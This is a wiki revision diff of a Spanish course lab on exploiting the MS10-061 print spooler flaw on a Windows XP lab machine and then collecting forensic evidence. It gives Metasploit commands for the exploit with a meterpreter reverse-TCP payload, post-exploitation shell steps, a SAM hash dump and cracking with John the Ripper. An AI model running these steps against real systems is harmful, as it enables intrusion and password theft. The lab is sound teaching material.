Muestra las diferencias entre dos versiones de la página.
Ambos lados, revisión anterior Revisión previa Próxima revisión | Revisión previa | ||
sad:t2:m4 [2018/12/02 13:06] José Manuel Guallar |
sad:t2:m4 [2019/01/10 14:40] (actual) José Manuel Guallar |
||
---|---|---|---|
Línea 1: | Línea 1: | ||
====== Metasploit 4 ====== | ====== Metasploit 4 ====== | ||
- | Escenario | + | **Escenario** |
¿Alguna vez ha oído hablar de cómo alguien fue capaz de conectarse a una impresora compartida y más tarde obtener el privilegio de administrador de esa máquina? Bueno, los atacantes pueden usar la técnica que Stuxnet para obtener privilegios para los servidores Windows XP y Windows 2003 que comparten impresoras. Esta lección proporcionará (1) el reconocimiento para ver esta vulnerabilidad potencial, (2) realizar la explotación, y (3) cómo recoger los archivos forenses para una investigación posterior. | ¿Alguna vez ha oído hablar de cómo alguien fue capaz de conectarse a una impresora compartida y más tarde obtener el privilegio de administrador de esa máquina? Bueno, los atacantes pueden usar la técnica que Stuxnet para obtener privilegios para los servidores Windows XP y Windows 2003 que comparten impresoras. Esta lección proporcionará (1) el reconocimiento para ver esta vulnerabilidad potencial, (2) realizar la explotación, y (3) cómo recoger los archivos forenses para una investigación posterior. | ||
- | ¿Qué es Helix? | + | ** ¿Qué es Helix?** |
Helix es una distribución personalizada del CD de Knoppix Live Linux. Se centra en la respuesta de incidentes y la informática forense. Helix es algo más que un CD de arranque en vivo. Con Helix puedes arrancar en un robusto entorno Linux que incluye (1) un kernel Linux personalizable, (2) excelente detección de hardware y (3) muchas aplicaciones dedicadas a la respuesta de incidentes y forenses. | Helix es una distribución personalizada del CD de Knoppix Live Linux. Se centra en la respuesta de incidentes y la informática forense. Helix es algo más que un CD de arranque en vivo. Con Helix puedes arrancar en un robusto entorno Linux que incluye (1) un kernel Linux personalizable, (2) excelente detección de hardware y (3) muchas aplicaciones dedicadas a la respuesta de incidentes y forenses. | ||
Línea 15: | Línea 15: | ||
El directorio de trabajo en ese momento es %SystemRoot%system32. Un atacante puede especificar cualquier nombre de archivo, incluyendo rutas transversales o completas de directorios. Al enviar solicitudes WritePrinter, un atacante puede controlar completamente el contenido del archivo creado. | El directorio de trabajo en ese momento es %SystemRoot%system32. Un atacante puede especificar cualquier nombre de archivo, incluyendo rutas transversales o completas de directorios. Al enviar solicitudes WritePrinter, un atacante puede controlar completamente el contenido del archivo creado. | ||
- | Referencias | + | **Referencias** |
- | * http://www.osvdb.org/67988 | + | |
* http://cvedetails.com/cve/2010-2729/ | * http://cvedetails.com/cve/2010-2729/ | ||
- | * http://www.microsoft.com/technet/security/bulletin/MS10-061.mspx | + | * https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-061 |
- | Requisitos para hacer esta practica | + | **Requisitos para hacer esta practica** |
* Maquina XP | * Maquina XP | ||
* Kali | * Kali | ||
- | Post requisitos | + | ** Post requisitos** |
* Volatility | * Volatility | ||
- | Que haremos en esta practica | + | **Que haremos en esta practica** |
* Descargar Helix2008R1 | * Descargar Helix2008R1 | ||
Línea 72: | Línea 71: | ||
Utilizamos el nmap TCP SYN Scan (-sS) y UDP (-sU) para buscar rápidamente en el XP los puertos de NetBios 137 a 139 y 445. Tambien usamos -= (Footprint del sistema operativo), para que nos diga que sistema operativo estamos escaneando | Utilizamos el nmap TCP SYN Scan (-sS) y UDP (-sU) para buscar rápidamente en el XP los puertos de NetBios 137 a 139 y 445. Tambien usamos -= (Footprint del sistema operativo), para que nos diga que sistema operativo estamos escaneando | ||
- | NetBIOS es un acrónimo de sistema de entrada/salida básico de red. Ofrece servicios relacionados con la capa de sesión del modelo OSI, lo que permite es que aplicaciones en equipos independientes puedan comunicarse a través de una red de área local | + | **NetBIOS** es un acrónimo de sistema de entrada/salida básico de red. Ofrece servicios relacionados con la capa de sesión del modelo OSI, lo que permite es que aplicaciones en equipos independientes puedan comunicarse a través de una red de área local |
Se utiliza el puerto TCP 445 para acceso directo de red de Microsoft TCP/IP sin necesidad de una capa de NetBIOS. El protocolo SMB (Server Message Block) se utiliza entre otras cosas para archivos compartidos en Windows NT / 2K/XP. | Se utiliza el puerto TCP 445 para acceso directo de red de Microsoft TCP/IP sin necesidad de una capa de NetBIOS. El protocolo SMB (Server Message Block) se utiliza entre otras cosas para archivos compartidos en Windows NT / 2K/XP. | ||
Línea 96: | Línea 95: | ||
{{:sad:t2:m4:13.png?400|}} | {{:sad:t2:m4:13.png?400|}} | ||
- | + | ** | |
- | Acceso a los recursos SMB | + | Acceso a los recursos SMB** |
<code> | <code> | ||
Línea 121: | Línea 120: | ||
msfconsole | msfconsole | ||
search ms10_061 | search ms10_061 | ||
- | use exploit/windows/smb/sm10_061_spoolss | + | use exploit/windows/smb/ms10_061_spoolss |
info | info | ||
set PAYLOAD windows/meterpreter/reverse_tcp | set PAYLOAD windows/meterpreter/reverse_tcp | ||
Línea 149: | Línea 148: | ||
</code> | </code> | ||
- | La puerta trasera se escrite en C:\WINDOWS\system32 y se usa para conectar y abrir una puerta trasera por el puerto 4444 en la maquina kali | + | La puerta trasera se escribe en C:\WINDOWS\system32 y se usa para conectar y abrir una puerta trasera por el puerto 4444 en la maquina kali |
el programa que ejecuta se llama en este caso **RvOYs3UqrJq07a.exe** | el programa que ejecuta se llama en este caso **RvOYs3UqrJq07a.exe** | ||
Línea 156: | Línea 155: | ||
{{:sad:t2:m4:20.png?400|}} | {{:sad:t2:m4:20.png?400|}} | ||
+ | |||
+ | <code> | ||
+ | getuid | ||
+ | getpid | ||
+ | shell | ||
+ | tasklist /v /fi "PID eq "1876" | ||
+ | Cambia el PID por el que te ha salido con la sentencia getpid | ||
+ | netstat -nao | findstr "1876" | ||
+ | </code> | ||
+ | |||
+ | **getuid** mostrará el usuario que el servidor de meterpreter ejecuta en el xp. Por consiguiente, NT AUTHORITYSYSTEM es la cuenta de administrador. | ||
+ | |||
+ | **getpid** proporciona el identificador de proceso (PID) de la sesión de meterpreter que se ejecuta en la máquina de la víctima. Mi PID es (1876). | ||
+ | |||
+ | **Shell** proporciona acceso de línea de comandos a la máquina Windows. | ||
+ | |||
+ | tasklist, este comando mostrará una lista de aplicaciones y tareas/procesos asociados que se están ejecutando actualmente en el equipo local. | ||
+ | |||
+ | (/v) muestra una lista detallada de procesos; | ||
+ | |||
+ | (/fi) es un filtro; y ( "PID EQ " 1876 ") filtrar o mostrar sólo un PID que coincida con 196. | ||
+ | |||
+ | **netstat** muestra conexiones de red. | ||
+ | |||
+ | (-n) muestra direcciones y números de puerto en forma numérica | ||
+ | |||
+ | (-a) Muestra todas las conexiones y puertos de escucha | ||
+ | |||
+ | (-o) muestra el identificador de proceso propietario asociado a cada conexión. | ||
+ | |||
+ | {{:sad:t2:m4:21.png?400|}} | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:22.png?400|}} | ||
+ | |||
+ | ===== Archivos Forenses Basicos ===== | ||
+ | |||
+ | <code> | ||
+ | tasklist > forense_tasklist.txt | ||
+ | netstat -nao > forense_netstat.txt | ||
+ | dir > forense_dir.txt | ||
+ | exit | ||
+ | </code> | ||
+ | |||
+ | Comando 1, redirige la salida creada por TaskList en un archivo llamado forense_tasklist. txt. | ||
+ | Comando 2, redirige la salida creada por netstat en un archivo llamado forense_netstat. txt. | ||
+ | Comando 3, redirige la salida creada por dir en un archivo llamado forense_dir. txt. | ||
+ | Comando 4, salimos del shell de comandos y vuelva a la solicitud de meterpreter. | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:23.png?400|}} | ||
+ | ** | ||
+ | Obtener la base de datos SAM** | ||
+ | |||
+ | [[https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics]] | ||
+ | |||
+ | El administrador de cuentas de seguridad Security Account Manager (SAM) es un archivo de base de datos en Windows XP, Windows Vista y Windows 7 que almacena las contraseñas de los usuarios | ||
+ | |||
+ | <code> | ||
+ | hashdump | ||
+ | # seleccionamos todo, boton derecho del raton y copiar | ||
+ | </code> | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:24.png?400|}} | ||
+ | |||
+ | <code> | ||
+ | gnome-text-editor samhash.txt | ||
+ | # pegamos y guardamos el fichero | ||
+ | </code> | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:25.png?400|}} | ||
+ | |||
+ | **Preparacion para la recogida de datos de la memoria** | ||
+ | |||
+ | <code> | ||
+ | mkdir -p /forense/ms10_061 | ||
+ | cd /forense/ms10_061 | ||
+ | nc -l -vvv -p 8888 > ms10_061.dd | ||
+ | </code> | ||
+ | |||
+ | Se crea un directorio llamado forense/ms10_061. Use (-p) para suprimir un error si el directorio ya existe. | ||
+ | |||
+ | Se cambia el directorio en/forense /ms10_061. | ||
+ | |||
+ | Creamos un escucha netcat (-l) en el puerto (-p) 8888 en modo detallado extremo (-vvv) redirigir (>) salida en un archivo (ms10_016.dd) | ||
+ | |||
+ | {{:sad:t2:m4:26.png?400|}} | ||
+ | |||
+ | |||
+ | ===== Memoria del XP ===== | ||
+ | |||
+ | |||
+ | Click en CD/DVD(IDE) | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:27.png?400|}} | ||
+ | |||
+ | Aceptamos pinchamos en la camara | ||
+ | |||
+ | * en origen ponemos Physical Memory | ||
+ | * Localizacion NetCat | ||
+ | * Ip Destino la del Kali | ||
+ | * puerto 8888 | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:28.png?400|}} | ||
+ | |||
+ | En el momento que pulsamos start se empieza la captura de la memoria del xp a través de la red con la red netcat que se ejecuta en Kali | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:29.png?400|}} | ||
+ | |||
+ | La pantalla negra desaparece cuando se haya terminado de copiar toda la memoria | ||
+ | |||
+ | ===== Recuperar archivos del xp. ===== | ||
+ | |||
+ | En el Kali | ||
+ | |||
+ | vemos que una ver terminado nos indica la cantidad de bits de memoria capturada | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:30.png?400|}} | ||
+ | |||
+ | Descarga de los ficheros forenses en el meterpreter | ||
+ | |||
+ | |||
+ | <code> | ||
+ | pwd | ||
+ | download C:\\WINDOWS\\system32\\forense_tasklist.txt /forense/ms10_061/ | ||
+ | download C:\\WINDOWS\\system32\\forense_netstat.txt /forense/ms10_061/ | ||
+ | download C:\\WINDOWS\\system32\\forense_dir.txt /forense/ms10_061/ | ||
+ | download C:\\WINDOWS\\system32\\RvOYs3UqrJqo7a.exe /forense/ms10_061/ | ||
+ | </code> | ||
+ | |||
+ | |||
+ | RvOYs3UqrJqo7a.exe en vuestro caso el que se haya creado en el ordenador | ||
+ | |||
+ | |||
+ | |||
+ | {{:sad:t2:m4:31.png?400|}} | ||
+ | |||
+ | En otra ventana de terminal ejecutaremos un John The Ripper | ||
+ | |||
+ | <code> | ||
+ | cp /samhash.txt . | ||
+ | grep -i admin samhash.txt > adminhash.txt | ||
+ | # cat /dev/null > /root/.john/john.pot (no) | ||
+ | john --format=nt adminhash.txt | ||
+ | </code> | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:32.png?400|}} | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:33.png?400|}} | ||
+ | |||
+ | print de pantalla final que hay que entregar | ||
+ | |||
+ | |||
+ | <code> | ||
+ | ls -lrta | ||
+ | grep "4444" *.txt | ||
+ | grep "1876" forense_tasklist.txt | ||
+ | # Reemplazalo por tu PID | ||
+ | grep "RvOYs3UqrJqo7a.exe" forense_tasklist.txt | ||
+ | grep "RvOYs3UqrJqo7a.exe" forense_dir.txt | ||
+ | # Reemplaza (RvOYs3UqrJqo7a.exe) por tu programa malicioso | ||
+ | date | ||
+ | echo "Tu nombre" | ||
+ | </code> | ||